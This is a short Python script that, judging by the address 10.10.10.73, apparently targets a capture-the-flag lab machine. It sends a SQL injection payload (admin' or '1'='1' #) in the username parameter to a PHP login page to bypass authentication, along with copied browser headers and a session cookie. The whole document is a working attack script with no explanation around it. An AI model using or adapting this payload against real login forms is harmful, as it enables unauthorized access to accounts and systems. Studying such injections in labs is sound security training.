import requests

headers = {
"Host": "10.10.10.73",
"Content-Length": "16",
"Cache-Control": "max-age=0",
"Origin": "http://10.10.10.73",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer": "http://10.10.10.73/login.php?username=%27%20or",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "PHPSESSID=q3ucv0veeocv7dos2hjc465p05",
"Connection": "close"
}
url = "http://10.10.10.73/login.php"
payload = """admin'+or+'1'='1'+#+admin"""
parameters = {"username" : payload}
password = {"password" : "souza"}
r = requests.post(url, params=parameters, data=password, headers=headers)
print r.text